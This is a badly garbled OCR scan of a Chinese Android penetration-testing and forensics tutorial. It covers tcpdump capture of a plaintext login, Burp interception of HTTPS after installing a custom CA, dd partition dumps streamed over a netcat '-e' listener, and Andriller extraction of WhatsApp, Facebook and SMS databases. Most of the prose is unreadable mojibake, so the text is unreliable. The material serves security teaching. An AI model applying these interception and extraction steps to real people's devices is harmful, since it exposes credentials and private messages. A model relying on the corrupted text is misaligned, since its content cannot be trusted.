VA &"J}}L{T"‘ J Zt\;}fﬁ IR R Ei °

3. MAe o BBEHAER adb 89 push A ARG AR EE DR E o A 0 KA
FRENREFEBAZGELT » KATT2MEA pull ®RE push ©

4, XE > £ M adb push F§ L HEEF] Android F 89 /data/local/tmp :

adb push tcpdump-arm /data/local/tmp/tcpdum

5. *‘E’«’&ﬂ‘ﬂ% tcpdump — 3 H|HEEF| R L 0 REFEEAER adb £ shell Pz H%% » FEXK
HH IR o wREAVREES topdump » ELLEAT— AR ZE > BAKRNEAH
PATARIR o

AT EBERER > RAVEE15 9] /data/local/tmp ° 4E M chmod 4 » F42 T H A
R 777 » X ERE 2 AR hﬁﬁ%ﬁﬁ&OMTﬁ%&@i?Tiﬂw?ﬁ R
o

# chmod 777 tcpdump
# 1s -1
—rwxXrwxrwx root root 1801145 2012-10-17 20:19 tcpdump

6. XENRE—F LR tepdump FEME BN pcap XM o & s » v -witzdi
# tepdump °© H B WA TR ¢

o -s: BRATMEMN CWMREL (ERNOHITFA0) FF 8B > &L ALKINY
65535 F ¥ ©



7.

10.

11.

o -v:XERWAFmMEL o
o -w: ZRABZANREHIE LML o Hlde > RATT AL
H ./tcpdump -v -s 0@ -w output.pcap °’ Vlfiﬂ%ﬁﬁﬁiﬁ-f{)\ output.pcap °’ i
Fmiz b o
FERZMRIATIR - 37 F AR K B 5 E4 T http://attify.com/data/login.html 89
R R AL AL A HTTP R EATA #3844 A GET # K

€4 attify.com
Member Login
Username : |android
Passwﬂrd : LR LR L LR L LR
Login

L EAE R R P % android ﬁ"g‘:ﬁg mysecretpassword ’gfj"{/l)ﬂﬁiﬁ’ °

KAV TVAFEAERATIAZ A T adb shell IREZE#HFE () ctrl + ¢ ) o T—F &K
IR 094Z B X GAZ B KAV A o Ak RATIE H £ 348 adb pull =T ¢

adb pull /data/local/tmp/output.pcap output.pcap

T A% F 2 F 7 output.pcap BIAUIRA BRAZILE o A RXAHEILT » R EWATAT 4

4> =X

chmod 666 output.pcap

—ERATT R T WK M L RIE 89 pcap X > &A1 AL Wireshark 477 € 541k
T o ARE > BMNKEZRXERBROGEFTHFR o RATT LR

55 http://www.wireshark.org/download.html T #& Wireshark ¢ —E T HHA K T8 » 47
7+ Wireshark 7 72 £ @47 /- &A1 #1288 T output.pcap ° T35 9] File | open ©

— = EA/E Wireshark F477F .pcap XH » HATEEZE — DN EMT @A B AT 76095
b



% 2t Android 1% & # 4T R T M

12.

13.

T L T— . swwcEm ok T3 O e 452 frem {meni LB
file fdn Yiew Go Capture Anshze Statiiis Telephomy Took [nfernab Help

Gepee "EXSa ”--rmtri[ﬁﬁia&m d¥sL B

Filier | ;Ltuplmmrl.
Wo. | Time | Sowrce | Bestimation ]Fmtnwl[unm Infi B

TR ) ITE BN TR R T BALTH = peracnal agant [PWl, WRT Beqri7] M EaT81 Win=aTD Len
1 T4, 2 .83, 13 183 h.'rl 2l por el agent s GG [ACK] Taqeril AckebY WiAsSANIY Lased

3 LA, T 2T Ry e NT BASTH = puruonal agert [FUI, ACK] Sagelid ArksTH) WinsSTEO Len
2% T4, GATaRY 1083, 18 TR T o o 4 pat ] agual e GATY [ACH] SbgePEd AchelTH WiA=SAI) Lised

30 T4, AREED 1T 18 IR e T gt il cagmt = GAYTE [P, ACHD Legedil Arksl1S EinsASAIA L
1 LA, AN TR 10318 e 4l BAITH = peramnal-agedt [ALK] Sege110 Ach=l1? wia=@fen Len=d (1
0 L4, EPEL 1823 #0318 ¥ B2 BAITH = parwenal-agant [FUI ACKT Gegel?H ArkeB17 WinsdTH0 Lew
2914 ames0? 198,318 032 e T b kel gt = GAATY [N, MEK] ReyeBLY Ackei WIR-ASAEY Ly
P P T T e 2 parnamal- et = B4ATH [P, ROKT SmyeSd1 Aeke316 WIn-S3L3 L
T T 19831 tem 44 B4STH = pormensl-agest [MOH] Beu<018 AcASETY Win-Fd Lan=d [
314 6ESMI3. 183,13 B rer 267 par sl bt = GANTH [FD, ACN] RegeRPN ACha338 Win-G3333 Le
10 LE ARG L8830 198 213 row 4 B4YTH = permemsl-agerl LACK] BesdIn AcASEDIZ NInATHS Linst |
T T 188,213 roe 182 B45T = pervensl agent (PO, WCKI Beg<lls Ackel9d} Mis-kTi8 Ls
R T T 19053 o 34 pas tonal-bgeat = BANTH LMD Teqeld] Akadid WineR330) Lence
3 LETTINIL 18203 L e 96 parsassl - bgeat = BANTH [PUN, ACKD Tege10X) Ack=Ied MissS35T |
RTE T 190518 roe 43 BANTY = permsl ogast [ADI] Seqcd6a AckatlSd WinsaT08 Lesss |
W LTI R 1071 e YHBANTY = parmenal agent [PEN, AOK] SegaiBd Achal1Bd wincBISE s |
LTI IR T e 32 o panal gt & B3PS LMD Saqul 186 LekadBU WaneALUYS Lamed 5

B Frome d 4 bytes w= wirs (2777 bital, T bytes captursd (JI7F bite)

B Crhermet T, fre: Pmaltehs 10; 34088 D80 3000; 17 M0 561, Det: Feelteki £3 0560 [53: 84: 00,13 35 -063)

B Iatérmet Protocol Version 4, S ¥0.8. 2015 (08,0.3.1%), Beti 18,027 [18.9. 0.5}

¥ Trowwatusios Centrol Profocel, Src Port: parumal-sgest 13935, But Purt. B4 (EA3TW0, Seq: 131, Ack: 48, Len 230
¥ Dats {79 byts)

sl B B4 08 10 35 B0 BF M B0 LE B 6 DB B AR LA 1 iy, . E

P18 D8 O 36 10 40 00 40 S0 oF pE Ba 80 DY B Ea N LN ] - n

o 0 &2 A% B) fe 43 Ba =3 ED AN 00 04 TR ¥R 50 10 "

ﬁ'-l» A7 1 be Bl B0 OF B7 51 T4 4% 3 06 B @0 71 00 I 'i*"I:r l &
BF 00 co 0N 88 00 A AD 00 Ob &8 ad ab Ba ki

o MIPE Al adivampiart (Pakee 5 gty (Fealie Tetalk

Wireshark & — MR 5T E > EHRNAIAEKRGZ L oMK ATAMEERE
AR ERIE - £XE > KA ELAMEZEN hetp://attify.com PTEEGH R » FWAT K
ey 8 xHIE o

o4

M A > 1517 Edit F £ F Find Packets TE > BNEEZERENRIEFHRIEGN
B2 ‘)‘Jf‘ﬁﬁ String °

®00 [\ Wireshark: Find Packet —

Find
By: O Display filter © Hex value ® String

% Iattifyi

-Search In——String Options Direction;
O Packet list O Case sensitive O Up

® Packet details A Character set: ® Down
O Packet bytes | ASCll Unicode & Non-Unicode |~ |

@ﬂﬁlpl xgancell . Find |

XL > BAITVAA P S http://attify.com/data/login.html #93&3E o 4o R KA1 &R
TP ERA R EIE O E S8 RATTUAE B G2 RNMA A P L e B85
KR Ak o

Host: attify.comyrin

Accept-Encoding: gzip\rin

Referer: http:/fattify.com/data/Login. htmlyrin

Accept-Language: en-USyrin

User-Agent: Mozilla/ 5.9 (Linux; U; Android 2.3.3; en-us; sdk Build/GRI34) ApplewWebit/533.1 (KWTHL, like
Accept: application/xml,application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, image/png, */*; g=0. 5\r\n
Accept-Charset: utf-8, iso-B859-1, wtf-16, *;ged. Turin

H b > ZAUER topdump R IR T M & 40IE » %ﬂ%ﬁﬁﬁﬁﬁ .pcap XHF » KRE1EHA
Wireshark #4794 o A » WHAEWMKRAELTILA DL adb shell AFETK °

45



adb shell /data/local/tmp/tcpdump -i any -p -s O -w /mnt/sdcard/output.pcap

BE i RERED o EXFFLT » CMNTATRAEHREZIE o p 88E tepdump T
BEETREREN (ZAEPITRELETEFEMGEX > L RES KA B ATl A 6942
N) o EAEM -tepdump AR EB AR B 0 RATZE T A AL tepdump © KATE F BAL
Rl -avd #2& » B BWRIAE 9 AVD L AR ©

emulator -avd Android_Pentesting --tcpdump trafficcapture.pcap

ER-/ D it

IAPHEGERIANZ » A2 FAF Rl A RATE LGP RE S o EZXMHIFLT » KA1
%k E—ANRE > AL TR F R il a4 RIE o sbob 0 AT R B FRUAANE BE
RAmoh 5 b 6 B Ve @ 0 I oF A AL B 2 A

1. ATHHTTP @l ARE » 151E A48 £ K3 IP #2358 0 AR -nttp-proxy #&EB RS o
WTEMNER—NMNAALEZTEPE » RAVEHIP 127.0.0.1 A EMTHGH T o £X
AT » &A14E A 5% 2 8080 -

emulator -avd Android_Pentesting -http-proxy 127.0.0.1:8080

2. EEELE s RAVETIAIF P settings | wi-Fi ° R/ kIR EH 6 M % Wi-Fi o ot
o R EAE R — AN FEERGEE » BINATEBOAAR BLAR —IMM%LE o

3. —E &N Kk Wi-Fi 4> ENBLEN—AENTTEORBII RO FER o I 4o
RERiEREEZRERATIG T » REFL5RFATE —-AM% o

L ."I II. Ty,
YYITEL

Forget network

Modify network

4, — BB NEREEFR > HEE ) RERE SN L& IP ik RE R L



Proxy settings

W ERITE]L

The HTTP proxy is used by the
browser but may not be used by the
other apps.

Proxy hostname
192.168.1.5

Proxy port
8080

Bypass proxy for

IP settings

DHCP

Cancel

{e5% » KR F ARG TIN 4.0 746 89 R A G Android F o e R&EMZAE DT 4.0 4
R &L EIRE » EAVE LMK H =75 5 AA2)F 0 Fl4e Play Store LT A &9
ProxyDroid °

L B RN AEREENS FRETRE s FREF L5 Burp R » REZBAZ - T
# options & FF Burp REHHTF » UMEAKEBRN LS AEZFGRE o

L BRMNEFERERT LAGRE » AR EN G REZLIH K nonproxy #H K o (5F T A
yed Burp b9 F sk http://blog.portswigger.net/2008/11/mobp-invisible-proxying.html .]’—1%
TR RARE A EREER )

| Intercept | History | Dpnons |

5 BurpFroxy unes lsbeners 13 recesve incoming HTTP requeti from yous beawaer, You will need B0 configere your Browier 10 uis one of the lliEenery &1 /8 proay ierms
Add Running intarfste I i Raediret Canificate
[£] “ AOA0 [£)] Per-hast
Edn




7. ATERERERG A ATAR R EFRBHME o KBRS F 2 AL £ REF K
A

[Target J " I Spider I Scanner T Intruder T Repeater T Sequ-enu

_[ i [ T History i Options ]

Request to http://attify.com:80 [162.210.70.205]

| Forward | | Drop | | Intercept is on l Action

Raw | Headers i Hex ]
—}

GET / HTTP/1.1

Host: attify.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,applical
X-Requested-With: com.android.browser
User-Agent: Mozilla/5.0 (Linux; U; Android 4.3;
like Gecko) Versicn/4.0 Mobile Safari/534.30
Acecept-Encoding: gzip,deflate

Accept-Language: en-US

Accept-Charset: utf-8, iso-8859-1, utf-16, *;g=

Ehe BA1E L@ FRB AT AR » ZA14THF T URL http://attify.com * HRILE LT/
Burp Proxy B3 ¥ o Ht » EANRAHERT R A% EGF o ARFGITH AT HTTP 891F
)k o

4.3 HTTPS REZ 4,

i HTTP il ATl e 0t » L F A TUAEFT A TR AFRAEEGOARAETES - £
HTTPS ¥ » &t TiE f RIEfe » RAVE KB 4% » BN EREEZBAE -

R s AT BRI RN F 24 A T B R Burp/PortSwigger 3 ¢ % 1% %
Lo ATRIELEMNA T ESR » KA FEAE Firefox (RAEMEARR ERRAHKRE) P& E
R :

1. A T 4 Firefox % & XL » 515 ] Tools T & 789 options (Mack
A Firefox | Preferences ) * KJ&1% 9] Advanced #&*fF o & Advanced #*F T » &A1l
¥ & Network & °

80 Advanced

o] wr &y A B S Qg

Ceneral Tabs Content Applications Prlvary Semriw Sync 'hdvan:ed

{ Ceneral Data Choices m Update = Certificates |

Connection

Configure how Firefox connects to the Internet 5et[|ng5_|

2. f£ Network #R &P » HA1FE# L& settings k1A Firefox fic &K -



Configure Proxies to Access the Internet

(_INo proxy

() Auto-detect proxy settings for this network
': /Use system proxy settings

(»)Manual proxy configuration:

HTTP Proxy: 127.0.0.1 Port: 8080 |§|

[EI Use this proxy server for all protocols

SSL Proxy: 127.0.0.1 Port: BOBO |,
FTP Proxy: 127.0.0.1 Port: BOBO |,
SOCKS Host: 127.0.0.1 Port: BOBO |,

SOCKS v4 (= SOCKS v5
No Proxy for:

Example: .mozilla.org, .net.nz, 192.168.1.0/24

[ Automatic proxy configuration URL:

Reload
@ | Cancel | |- oK |
3. TRE  EBMN AL TS 58 HTTPS Mt » RITAEREBR KN LS LGRE -

XL EAVIE M E] —/~ The Network is Untrusted H B o & I understand the Risks ° 7
B i Add Exception °

4. RJG > #k cet certificate *® W5 £ view * KB £ F Export REKABIES o

|. General | o-

Certificate Hierarchy

¥ PortSwigger CA

www.dropbox.com

Certificate Fields

¥ www.dropbox.com
¥ Certificate
Version
Serial Number
Certificate Signature Algorithm
Issuer
¥ Validity
Mot Before
Mot After




5, —HuEBRALBZMNYGAAL » BATILAETAER adb LI XN KMN897E -

adb push portswiggerca.crt /mnt/sdcard/portswiggerca.crt

6. Wi EEXRANEGELEF » 59 settings * £ personal EH| T » KA AKX
3| security © —EHATHN security * HiEFE > RTIAELBFINSD FRREH o A&
CAE BN T ARG A A SR LARGIES » RERNTHARARFRAEE » £5E%
HTTPS 3t & ©

Certificate name:

portswigger

Credential use:
VPN and apps

kage contains:
ertificate

Cancel

7. AR B KA1 R] W E o AT HTTPS M3k (#l4= nttps://gmail.com ) kAN o E
Yo BAVE T @69 A F T AF B89 » KAVE XA LT LR HERT B3

I T tesioey | Options | A, https:/faccounts.google.con e

O Requestio hitps [ /accounts.google.com 445 (7412520084

y = = - S
v
- _urur_ald * I:_Ir::p ) Intercept is on - ALtan " (_:IL-" l;bil L
. s
J Haw ] Params | Meaders | Hes
FGET Y I
fservicelogin?service=sal l&passivestruelcontinueshttp: //mail . googled

SEbtmple=mohl ledemr=1 HTTP/1.1

Host: accounts.google.com

Connection: keep-alive

Cache-Control: no=cache

Pragma: no-cache

Accept: text/htal,application/xhtmlexml, application/xml;q=8.9,"/* g8
X-Requested-With: com,android. browser |
User-Agent: Mozilla/5.@ (Linux; U; Androld 4.3; en-us; Nexus 4 Bulld
Version/d4.@ Mobile Safari/534.38

Accept-Encoding: grip,deflate

Accept-Language: en-US

Accept-Charset: wt¥-8, is0-8859-1, ut¥-16, *;gq=8.7 |
Cookie: PREFs=ID=BedeBfadibléacas:Us=3c2bblacieB3ET1F:FF=0: TH=13854358

NID=&T=0pngc FRG Wz xMNOZHA - H

-NEOLMSTF Mz 3E_ rxglTe_2ioxF - KD Frocimk in
kIvHWrbEHzNN_(; GALX=TChfobMiuDl; GAPSs1:15FGILXsvyY IHPZ02vOWEST 2508 Sign




H e TEB SSL AZE &7 N
EARAF SSLASERY LTk > UARLERE LREIERHGREF ik o

H Mo 77 ik 2 — &N Android 1% %8 /system/etc/security 42 EAZH cacerts.bks XA o — &
HABERT € » KAVET 442 %41 T A VAR Bouncy Castle (12T Java “ £ B &¥) %4
BIE A o 4R AR Java Z K B & F & F %] Bouncy Castle » 447 1A

M http://www.bouncycastle.org/latest_releases.html | 3 FHH5HE £ Csmiiiz o 5 » &
MEZHEB /system T RAFAE/E SR » ARG £ #69 cacerts.bks WEPAFEFEE R E o &
oo A TARREA EARKMA R e REAERAEMNSE - KAVEF 212 A mks.yaffs2 kel ZE—
NFTE) system.img RBEIEA G

b s T A AT BT R T4 Android % &89 A F » #14=C harles Proxy #=

MITMProxy ( http://mitmproxy.org ) ° &7& ZAZIURAE Burp RIE & miR 69 Ak b 2 X 4k
1 BACNAETRAKE @L4aF 8 > 122 F &K o £4% A Charles Proxy B » &ATT LA
N www.charlesproxy.com/charles.crt [ #XIE 7 ©

E—ESFMNRF > R AEFTREARRE SAEHRS AL o Bl BERA P REF
RAGZRER s AR PINREEFR R i TAP ZRABBEREFGZRK R
% 4% 403 Forbidden #ATAR o I/ » EAEHFEMNRXAR » TUAERAE » H5A

KL 403 Forbidden XA 200 ok ° HEt o A P IAEERS G Iﬂﬁ)ﬂéﬁz’i#‘éﬁxﬂi& o fE AR
kel 5z 89 ) T AL H 8 “ARM AL A" R3] » AP RAMNK R TARAZTEBA MY —r 1L
R iR o

ERERARFFR  RIP AR A BRI ANEAL HTTPS 4 > AN EL ARG T 84
— AR o RHEMBIFE R ARFEZREGMR G R AT SRR IEREEBER LT A
JP b B A IE AR o 2% > e RAAELBATHEMNXALBAE M & HBEMNRLF
e 8% &A% R A9 FTIEF (o portSW|gger EF ) 5E AR P A AIES RICE o frig ik
BOUT » KAV st o A AL T 4T3 ) TAZ » FE A7 2 A2 P e T Je B F5 o KA1 EE T A

FRAGE AT RFL ARG o

4.4 1% 3 &40 R R 3R IEOR A

AL BAT KA A e fTi2 ) Wireshark Mk & 492 PRI BR LM o A THE|Z—& » KA1T
VARH 3% #0386 0 Ao B Wireshark #4747 o

IR 23R F RILUAR 09 R A S & 0 CN1 2R 38 T SUAF KA 8 K35
( mu]_tj_part/form_data ) ° VX_F;EIZ:}J\W]?guﬁf%?}ﬂig;{?’fiﬂifffqﬁﬂiﬁ"%*ﬁ%

1. f& Wireshark * » R Ei5F%REH ML Emiz B P TFA$ nultipart °



e 00 \| Wireshark: Find Packet
Find
'By: O Display filter © Hex value ® String

multipart
-Search In- rString Options- qrDirection,
O Packet list IZl Case sensitive O Up
' ® Packet details Character set: @® Down

O Packet bytes | ASCIl Unicode & Non-Unicode v ‘

L Help X cancel ‘ " Find ]

2. —EEAKE T @RS E X% POST #HReG4E G (AR TV EFNLTA GET) » A4
¥ FHZEIE S RS EF Follow TCP Stream ©

239 POST /UploadImage.php HTTP/1.1

Mark Packet (toggle) 66 http > 50507 [ACK] Seq=1 Ack=14517

Ignore Packet (toggle) 66 http > 505087 [ACK] Seq=1 Ack=15965

(O Set Time Reference (toggle) 66 http = 50587 [ACK] Seg=1 Ack=17413

; : 66 http > 58507 [ACK] Seq=1 Ack=18861

© Time shift... 66 http > 50507 [ACK] Seq=1 Ack=20309

k" Edit or Add Packet Comment... 66 http > 50507 [ACK] Seq=1 Ack=21757

- -| 66 http > 50507 [ACK] Seq=1 Ack=23205

|| Manually Resolve Address 66 http = 50507 [ACK] Sea=1 Ack=24826
5|  Apply as Filter 4
Prepare a Filter »
Conversation Filter [ 2
Colorize Conversation b
SCTP b

3. 35 0 RIBLHFAIE (4o PDF 89 UT A %or ) ° MVA TP %% raw > RE1HE
Ry il pdf BRBGXH - Bk ENMA T k&4 PDF » @i Android % & L4 3| M
ko mAEMNBIERNGSEFTRE TREWHK -

A TTTT]

Content-Disposition: form-data; name="file_name®;filename="/mnt/sdcard/origpdf.pdf"

e

4 8 ob)

<< fLength 5 8@ R /Filter /FlateDecode »>

stream

- JENG i S | T Ef . %[ " =H... SRR T - ST oy

U B b d8F0. M=l T i y FUERITT ei T JEONT T 1 phee 1 s v

SR I -3 B BRSO ] FREERE i R [ +t.q.5~ >, . W. B ¥

[ AL PO 40 PR B IR T P o R B =7 f...t...0)

i R AT BRI =<t.w.. 0z8 R RO z_'.B < LI

e W L PR . SN FRR | pepese [ T PR B85V,

{U.Q...VY...2HD......=falp.5....B. .okM - FEERIE  Tn) B ARt 1 . iy et -
Entire conversation (28066 bytes) hd
" Find | @ save As | @print [0 Ascl O EBCDIC © HexDump © CArrays ® Raw




4. EAVZET MR LT L > 4= Windows £ 4 NetworkMiner (T
N http://www.netresec.com/?page=NetworkMiner Tﬁl) ’ E’f%ﬁ"(‘—f"/l\%ﬁ'k?#@}%% GUI

(52 KE > AL A TGO BATHE T o
%4
EAREF > KN TMHT A Android B & LHAT AR E I EFF ik o 3o RIS B GRS,
kB RAZFFR K L6 HTTP #= HTTPS A2 2k3B o KA1 F B b T M &4 112 & F 32
AR A ©
ET—%% » KM AN42 Android BIE » &R FHH7 XNARERR ZLGHEBT » A
Android % & P {2 Bl — L B R AT B o



% & % Android Bt

fE4 . Aditya Gupta
FEH A

7L : CC BY-NC-SA 4.0

51 Br XA

BAERAR ) R F 6 F A0 B 3 77 iE R E TR A AT LA - CTUAKEY A AE

o FHRE I XAN—FBIESZ s AFPIIER SR E XL AN A2 ARIIIE - %EK
FETARETAE » B AR THIE > BAA @ERE HE web B KX AL »
HRXMGRAPIZEAMSEE BHREGR AL ERXRSEFATRYEREEZRS
RILFHRAZE - R » £—BFILT » %7 R —ANRAE » EZIRHFRLTEEE (F
e TR AR ) BRI k6 & AL o

o MERE  XFRENENER NN BATEAZE N o RA1ETALEIATHER &0
TALRR B EANAGR o 5EHREML s AT HEHFS > BETEFTEH o bob
ATEBERFNERTYERE > EXFRAEZTRRHG AL » 44 Yet
Another Flash File System 2 (YAFFS2) - ext3® ext4 > rfs % ©

5.2 L A%

Fe BAVEANBIE VAR INZ G IBEIAEZ 0] » RN ZFR BT BRI AL XA eI E 8
Z 5 o Ede KA1 AT @F649 > £ Android PHAITHERER AT — NI ERRAEIHEA
GAR o

Android ST 2 %89 24 K i %49 X 4 YAFFS2 © f Android T4 YAFFS2 #) /R B &
CARERB/ETHRYE » XL R R AR EIREG E R ZH o JUSFF > % Android
RIAVAfE BBt > BUEZ & Eog—AKIFAL » B A JU-FAA L3 YAFFS2 SUHF £ 4uts X 69 Bk
Ih-

SD FRFAT32 % » REFALA P FHIEFAX o Hk > A TR SD Fa98A% > T WA
1% FAEAT % A6 B R RAGE LR o

TR 8] A RAI A B ARRBORA LT A —& dd > ENREKRE] A ALBATER
BHl o Af > TR ARG — &b w > fldod VA ARARBEINR > £ FBIIERK

A HABGEREM AR o EHETROGZT T > ITERAANL Android XH AL » FF

P #F Ao T VA A 389 77 KON & 4 P BRI 3B o


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

Android X A %9 R

Ede RAVE AT @A F P14 89 > Android 2T Linux M A% » M Linux A& kAL K9
feAn Bt o £ Android P 0 XHAGHRRI A RRAG SR » BAPRIEAE TR EL ©

AT 4 Android X & LEFE SR 2 BATT VLA adb shell ABEEFH proc T8 mtd X > 4o
TEGFEITT o £—RTBE ntd XHFOEET > £ proc THAA—NEH partitions 8
X dm T @A -

adb shell
cat /proc/mtd

AT RLERE EPAT Ll & RI|HATH 9 RJG 8940 h 69 B A o

root@android:/ # cat /proc/mtd
dev: size erasesize name
mtd0: 0c5e0000 00020000 "system"
mtd1: 06100000 00020000 "userdata"
mtd2: 04000000 00020000 "cache"

Ehe A L@OBEFERG  GAEFIHFALA»RALE A YK o £ K% % Android
wEE > RIEF AA B —REEIR

S system ° userdata ’> cache > recovery °* boot ’ pds °’ kpanic Fa misc * EM®RE
fE dev Pl RGFRFMLE o ATHB LR RAEA » AT AL adb shell F42

A mount °

EAe XNAET@GBRE P TILEEE > BT HAT mount 47K > TARR R AL E
KR

shellBandroid:/ $ mount

rootfs / rootfs ro,relatime @ @

tmpfs /dev tmpfs rw,nosuid,relatime,mode=755 @ @

devpts /dev/pts devpts rw,relatime,mode=c00 @ @

proc /proc proc rw,relatime @ @

sysfs /sys sysfs rw,relatime @ @

tmpfs /mnt/asec tmpfs rw,relatime,mode=755,g01d=1000 @ @

tmpfs /mnt/obb tmpfs rw,relatime,mode=755,g1d=1000 @ @
/dev/block/sdab /system ext4 ro,relatime,dato=ordered & @
fdev/block/sdbl /cache ext4 rw,nosuid,nodev,relatime,dato=ordered @ @
/dev/block/sdb3 /data ext4 rw,nosuid,nodev,relatime,data=ordered @ @
Jdev/block/sdc /mnt/sdcard vfat rw,relatime,fmsk%@,dm5k=m,ullm_utime=ﬁ|

5.3 1 H dd $RIFIE

dd TREAFEFRTFAYG LA — > UEAFKBRVIZIZBRIG o ot €A TH
18T M St BB A G U o B ESAHNE > RN TAFGEELEIEIE
oo Ek o RIFEE M RALNRIE > KRB EIATONT LR —MFHBIEF o



BELT > dd TAEKSHAT Linux # A4 F > AR L& Android & &

b9 /system/bin FEHRGLE o WREFRBLETHROGEETF » BTUARE BusyBox * vz

¥ dd AR — I AA F 69 =3 B T o 4R T A BusyBox A A2 5

( https://play.google.com/store/apps/details?id=stericson.busybox ) RIL dd 89 =3 4] T
o AAREETAA TR LHRF o

dd B9AE 1B R AT -

dd if = [source file which needs to be copied] of = [destination file to be created]

HIUNGAITHRATIAE dd —AefEd » L P ads:
o if I XAEZE B A
o of I XANEEEZHLCHHETH
o bs I XEAEBRKND (—MEKF) HBE dd B ARG K
® skip XIS B R AR AT kit g 3k 2k
TRV G L > FBAFIA 5 R — 69k if k3 ATHUE

1. ENFERAGE -AEBELFG SR » €015 £ T R4 Android & & L > #HEK
MZAHEg—4F o RITRALEAH /proc/mtd AR B A 25k SR ©

# cat /proc/mtd

dev: size erasesize name
mtd®: 00180000 00020000 "pds"
mtdl: 00060000 P002000@ "misc"
mtdZ: Q0380000 20020000 "boot"
mtd3: 00480000 PPO20000 "recovery"
mtd4: QBcolO00 QPO20000 "system”
mtd5: @5caol@dd 0020000 "cache"
mtdb: 1@5cP000 0POZ20000 "userdata”
mtd7: 00200000 00020000 "kpanic"

2. TR ZNFRETREBEIRGEE > AAREZRNREREFT RS o ERXFH
JLT » €4LT mtdblocke ° X E » HAVKE LB dd > FH W RIEH ML sdecard T #E K
14542 ] adb pull 4 4ZBLBRAE ©  adb pull 44 2L M £ H ARG THME &2 B
B RIAL o

#dd if=/dev/block/mtdblock6 of=/mnt/sdcard/data.img

189696+@ records in

189696+@ records out

72424007 bytes transferred in 33.872 secs (2138256 bytes/sec)

3. EHITREE &R > —BEH TR > ZATT AR E adb shell » 37 Bl &A1 69 4355 »
FAEAL TR :



adb pull /mnt/sdcard/data.img data.img
4. AV VAMEF Netcat TR 8RR BHRA BRI E/AL o Ak KNG AFTRHK
IR & RB AR o

adb forward tcp:5566 tcp:5566

5 PR > RMNFEEZAEZXZEE 3 Netcat T £ » B 973% 2 5566 °

nc 127.0.0.1 5566 > data.img

6. 5 s RATLMMAT adb shell HAEXE » RSB F dd LA » HI§3 H 4 & 3] Netcat °

nc -1 -p 5566-e dd if=/dev/block/mtdblock6é

L#%a‘aﬂkf%f%ﬁé' AAF  MAERBARE LOEMZE » REBLLRE o wRARGFAU
L B&A dd =4 0 AR T L E BusyBox kKT dd =4 o

FHAEBE R EZ A S BRI~ FEE bR G E TR EREALERBE AP EXNTRAE &
WEFEERE roote R o AR E| 69T A X & F AT A root ° X EHILT » ZATEAE
R & B B LR B BB kB HFA 0 ARG root X & o

5.4 1% | Andriller = 3~ H 448

Andriller & &1 Denis Sazonov ¥A Python %4 5 & 7t% % F 6 BUE T & » €A B TR & P12 H
— S KR FEABTRHATERGENH o AT ZARJE * & 4 s HTML #& X 89 BIE R & ©

AT TRE » BAVT VLG B 77 M35 http://android.saz.1t/cgi-bin/download.py # T #% 0%
876, o 4w R EAVE Linux X Mac IR+ » KATT A $i&1’§ﬁ)¥] wget 44~k T 8 F AR E R
&0 BAAERE—A Python TH#F » AR — R Ao B 69 =34 UHF » ATAR A LBZEE;
AR BATT A BB B

$ wget http://android.saz.lt/download/Andriller_multi.tar.gz

Saving to: 'Andriller_multi.tar.gz'

100%[ >] 1,065,574 114KB/s in 9.2s

2013-12-27 04:23:22 (113 KB/s) - 'Andriller_multi.tar.gz' saved [1065574/1065574]

$ tar -xvzf Andriller_multi.tar.gz



— BB E TR 0 EATT L35 9] Andriller X% 0 & A FAE A python andriller.py EATE o
Andriller 8 £ 2k # 2 —& Python 3.0 © 4= R R1& M Python 2.7 » ©M XA K % HBELA %L
L ARTVUNE 5 W

sk http://python.org/download/releases/3.0/ ﬁk http://getpython3.com/ T# 3.0 H&Z}f\ °

M —BEMNEETRE » BAOTT AL LIELT andriller.py * VMBI Z &M K & > 4]
#AE KB E o

$ python Andriller.py

— B AET BN EER > ST B EEG UMM B > 4o IME|l 54 » A3 A ST I
BRI R%S R RS o X E o €N E WhatsApp £ A5 AR 5 4 5% 5% 09 w5 55
e ¥4 4k 4 45 B WhatsApp &2 B A2 5 69 BT A 3038 & o

IMRRIG » ROV A B R AOAT SR A 05 #

adityogupta at MothBook Pro in

§ .FAndriller.py

reareerese Andriller version: alpha-1.1.1

>xxxaxax>ax Build dote: 83/12/2013

reeree»enx http:s/fandroid,saz.lt

eaaaxaaex General Device Informotion,

ADB serigl: 192.168.56.102:5555

Shell permissions: root(su)

IMEI: null

Android version: 4.1.1

Build number: vboxBEp-userdebug 4.1.1 JR0G3S eng.buildbot.28131111, 205844 test-keys
Local time: 2013-12-27 @5:25:44 IST

Android time: 2013-12-26 23:55:44 GMT

aassesesr Sync'ed Accounts.

com.whatsapp: 919928383269

»»aasss> Downlooding dotabaeses...

seeaaess»ss» Lenerating report:
fVolumes/Aditya/Playground/Andriller_sulti/Genymotion_Somsung Galaxy 54_2013-12-27_05.25.45/REPORT.himl
Completed! Press 'Enter' to !xit.l

o RBENEECHRNGEGHIML X CH I F— R X TREVEARZE > o TEGFE
EBEAFT o CRALELHFE dbo THR—XHE B FFOETHLIAEE G5 o

# This report was generated using Andrifler on 27-12-2013 &
[Andriller Report] |

ADB serial: 192,168.56.102:5555

Shell parmissions: | root{su)

IMEL: rull

Android version:  [4.1.1

Build narne: vhoxB6p-userdebug 4.1.1 JROO3S eng.buildbot.20131111.205844 test-keys
Local time: 2013-12-27 05:25:44 IST

Android time: 2013-12-26 23:55:44 GMT

Accounts: com.whatsapp: 919820383269

# hito-android. saz it #




Yo R BN ZA 2 AL 69 IjARAG » RATT VAL Andriller.py 89RARE T A5 » ©okhd
BEPHLENRREE o RMNETALERXLZRWENA T EHRERIBE » KRNAZ
Andriller A &A41F4& €

o T @R B P 0 R VAF i de 8 % 48 ] Andriller &1 69 4038 & o

238 ¥

236 # DATABASE EXTRACTION
237 #

238 # Database links

239

248 DBLS = [

241 '/data/data/com.android.providers.settings/databases/settings.db’,
242 '/data/data/com.android.providers.contacts/databases/contacts2.db’,
243 '/data/data/com.sec.android.provider. logsprovider/databases/logs.db’,
244 '/data/data/com.android.providers.telephony/databases/mmssms.db’,
245 '/data/data/com.facebook.katana/databases/fb.db',

246  '/data/data/com. facebook.katana/databases/contacts_db2',

247 '/data/data/com. facebook.katana/databases/threads_db2',

248 '/data/data/com. facebook.katana/databases/notifications.db’,

248 'sdatas/data/com. facebook.katana/databases/photos_db',

258 '/data/data/com.whatsapp/databases/wa.db’,

